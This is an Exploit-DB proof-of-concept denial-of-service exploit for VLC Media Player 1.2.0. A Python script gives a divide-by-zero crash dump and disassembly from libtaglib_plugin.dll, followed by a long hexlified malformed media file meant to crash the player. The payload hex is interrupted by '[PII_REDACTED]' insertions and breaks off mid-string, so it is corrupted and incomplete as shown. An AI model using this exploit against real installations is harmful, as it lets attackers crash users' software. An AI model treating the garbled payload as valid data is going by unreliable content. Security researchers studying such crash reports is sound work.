Exploit-DB #18399
Description: VideoLAN VLC Media Player 1.2.0 - 'libtaglib_pluggin.dll' Denial of Service
Type: dos
Platform: windows
Date: 2012-01-20
Author: Mitchell Adair

Exploit:
import binascii

print '\n\n'
print '#########################################################'
print '# VLC (libtaglib_plugin.dll) divide by zero DOS         #'
print '# Tested on  : Windows 7 and XP sp3                     #'
print '# VLC verion : 1.2.0 and 1.1.11 (possibly lower)        #'
print '# Author     : nomnom                                   #'
print '# Date       : 1/19/2012                                #'
print '# - shouts to disable, jtm, welder and the csg          #'
print '# http://utdcsg.org                                     #'
print '#########################################################'
print '\n\n'

#Offset = 6, value = ['\xff', '\xff', '\xff', '\xff']
#libtaglib_plugin.dll:6cd65a07 div eax, [ecx+0x8] from thread 3160 - divide by zero
#
#CONTEXT DUMP
#  EIP: 6cd65a07 div eax, [ecx+0x8]
#  EAX: 00000000 (         0) -> N/A
#  EBX: 00000000 (         0) -> N/A
#  ECX: 02ef6ac8 (  49244872) -> x@$hJz@ih8Hs(foRh (heap)
#  EDX: 00000000 (         0) -> N/A
#  EDI: 00000001 (         1) -> N/A
#  ESI: 00000000 (         0) -> N/A
#  EBP: 013bf4f0 (  20706544) -> p; (stack)
#  ESP: 013bf438 (  20706360) -> ;JG l;(;;; lLJl;qZl8;GwilhililPil0ilil(\ilil Wilp;`l jp;;x; ltJlh; (stack)
#  +00: 013bf4a0 (  20706464) -> ilhililPil0ilil(\ilil Wilp;`l jp;;x; ltJlh;`l;wFlw lil@il(il0;bl\;; l (stack)
#  +04: 00000000 (         0) -> N/A
#  +08: 00000008 (         8) -> N/A
#  +0c: 00000004 (         4) -> N/A
#  +10: 02ef4a1a (  49236506) -> ((WH. a(BTBP~jm''(B(B(B(B(B0 (heap)
#  +14: 00000000 (         0) -> N/A
#
#disasm around:
#        0x6cd659e3 test edx,edx
#        0x6cd659e5 jz 0x6cd659fd
#        0x6cd659e7 mov ebx,[ebp-0x90]
#        0x6cd659ed sub ebx,0x1
#        0x6cd659f0 imul ebx,[ebp-0x9c]
#        0x6cd659f7 add ebx,[ebp-0x98]
#        0x6cd659fd mov eax,[ebp+0x8]
#        0x6cd65a00 xor edx,edx
#        0x6cd65a02 mov ecx,[eax+0x8]
#        0x6cd65a05 mov eax,ebx
#        0x6cd65a07 div eax, [ecx+0x8]
#        0x6cd65a0a mov ebx,eax
#        0x6cd65a0c mov [ecx],eax
#        0x6cd65a0e xor eax,eax
#        0x6cd65a10 test ebx,ebx
#        0x6cd65a12 jng 0x6cd65a2f
#        0x6cd65a14 mov esi,[ecx+0x1c]
#        0x6cd65a17 mov edx,0x10624dd3
#        0x6cd65a1c mov eax,esi
#        0x6cd65a1e imul edx
#        0x6cd65a20 sar esi,0x1f
#
#stack unwind:
#        libtaglib_plugin.dll:6cd660a0
#        libtaglib_plugin.dll:6cd66285
#        libtaglib_plugin.dll:6cd30b3b
#        libtaglib_plugin.dll:6cd31951
#        libtaglib_plugin.dll:6cd2811b
#        libtaglib_plugin.dll:6cd2855b
#        libtaglib_plugin.dll:6cd04d53
#
#SEH unwind:
#        013bffdc -> msvcrt.dll:77c35c94 push ebp
#        ffffffff -> kernel32.dll:7c839ad8 push ebp

# file contents
hexlified = (
"4d414320960fffffffff[PII_REDACTED][PII_REDACTED]2c000000781b[PII_REDACTED][PII_REDACTED]f0d36ae"
"208700e0b883873777a5272f5d[PII_REDACTED]00100dd[PII_REDACTED][PII_REDACTED]044ac00007c00000"
"052494646de[PII_REDACTED]5645666d[PII_REDACTED][PII_REDACTED]44ac[PII_REDACTED][PII_REDACTED]6461746"
"1ba2500001e765c5b[PII_REDACTED]05562aa8a1fa29223903ee58ed36bec6f1a127d79379040bdc83b"
"4965c953895f22f24538c85f2fcc2732c409ccf8f6deb7f38d9f3daddd783d40c7d85439a4529897"
"60261a88906d1a7688b7f063cb5152b98f8b19a8a55f61937d51f6be87107ac069b3bda37a7a87e1"
"95329ea6245c0facb7c70ec682cd96893ea78b7b4948c1c934d70d9261d44ff8bb989c1a8f6ce429"
"b0ffc9ac595a42cf93417485f6f4979c7049f6d02c8add5a31dc71b4419752db02adcb337cdf76c7"
"69b42aef9f600d93fec5502a2fc911d35f97d62448d5b2a20e6634585ed92e8692f1d2d00906e606"
"70b478696d0e7a43055da2edfaaf61d94d7b4f195c7a6917576d8d115314aa19c02facd2f598cb85"
"0a33be38b6904c79e997d83e6115d742d75cbe4101470bab89c20eb3f1b6e066bba5da88df31e14b"
"9d[PII_REDACTED]37e23464c01ef8102084fad079fdf95de56575957c06025b1668fa57180b6fb495d"
"9ba52a214a3812675fd9db5f4e7c327d9cebd376ee84576d0c3709f37c45bc781b3415dc8ac6538f"
"14a1fde8ded60eef16efdc4590c985491052b8adc[PII_REDACTED]e28166959e1a3ccd97a7ac7d20765"
"2d0f5ac3a75c7d29e[PII_REDACTED]f8aee68a4d9734bc191b2bf0a5161346f5cdd93fdac824d88ff03"
"c64ad0aa5cc54b9b19799b5d81d533d43ae2400a7def650057ea33e1de54e2e9dd461f947ac40884"
"4ca0b0345eaa3a3a986b6d8f41ded[PII_REDACTED]fcfeb52f54d71871db88f358c24229c60eb66b780"
"299ee2c7a608108acfcaa1a34fac57ed906a15a28c97ecd701e8cc97b609eb29c6f96b8f15a8ed31"
"7e920e22df5b44521509cafc5c8f806386f27a06ab6c1a0ccb6dfe167f0750ebbbfc244225376f07"
"20e664ee35a3a2bace5178e5a21b1c873014c0076942e6288428a8bbf31c6665142db29bd7978898"
"9646005a1800f70aff4920af03b141ff17c73b92a03579e12f465ce6e49b082550a9b51b21f9b4bf"
"0985909bc2a2694e55bb9edea1d501c5c50417ffafe4766afbb3b6d3adc82c38f40d52991ec38402"
"2f08e324d8ccda865c4ea06725e3390cf23380606faa5f778cb236b459cbb73f5aa4d10142fb4756"
"492a19ae38ca220b1ac27b358b18147675a4b2b6350c6b1a76531c06e71de751cd3f71a2196e9765"
"1aa85e034e11a85ad34ef258ac61ae5096a81bc05f615ef185e7ef3925305d6f8e38c03aad23fb0d"
"a30ffe354551e19407c9ad2cf786273f860e8476f3cbd93bed4f620ce8341c12e[PII_REDACTED]f060f"
"2deb9cd3240271d19552063ce14fa8bb46cb535313d3327b2c05d817b559fd4f827938f97a2a775b"
"ff027436bfda12ef35f5b9cdd7edfd10ce29765608b71545f6b4dbf0f356f854b6655f33a85f3f0c"
"8a9ef8c7954c8ddb084a835d67059f3262e36455be0adc3b21bec5bcd46fea04803c09d8299b349e"
"07df517f9ab2543b0d8d72b4250196e1bcc9bcb2e244f724e9784826da664e7dc47fa5cfb674f862"
"ec9b4b22f64c4c75bb629cd47a2995b7839ffd8d0ceedaaba8d35d3727aeac7700c95dff06b68f55"
"88a736a896f4c262d[PII_REDACTED]5595ba425857ada588a8c6ccf4cb008137ec80f1fb73eff634a4c"
"8393ef34361d4ddb65f838c0d6f474fd1bb5c97a50a1f790bbad689285ae7d66e64b47bf5ea08a1f"
"bed95a59f7df44af59530161a9e1d31acb7f98e449c6a816b4ecc42e0fe96853c1e13cf979eb2f87"
"91fa5e5bbecaa7491e0fcdea9a[PII_REDACTED]0ab890dc6b12dca3f5b77965385e4ebdffe875b73939"
"0c4fc[PII_REDACTED]10bcd8b9ff45ca8a64e5a48340feb2ffb825a2dc0775a5752519e50f49addfbdd"
"253821a993b7820ea59d37692c1a6e9aeee360e6d72ed3b7428cd62369e48aa44e9920be49645f56"
"c50ba7074289e5cd7f19d3fe63060ca1e172ea2529f5d3ea8926ef52b4cbab8d36d26bd9c1b70b1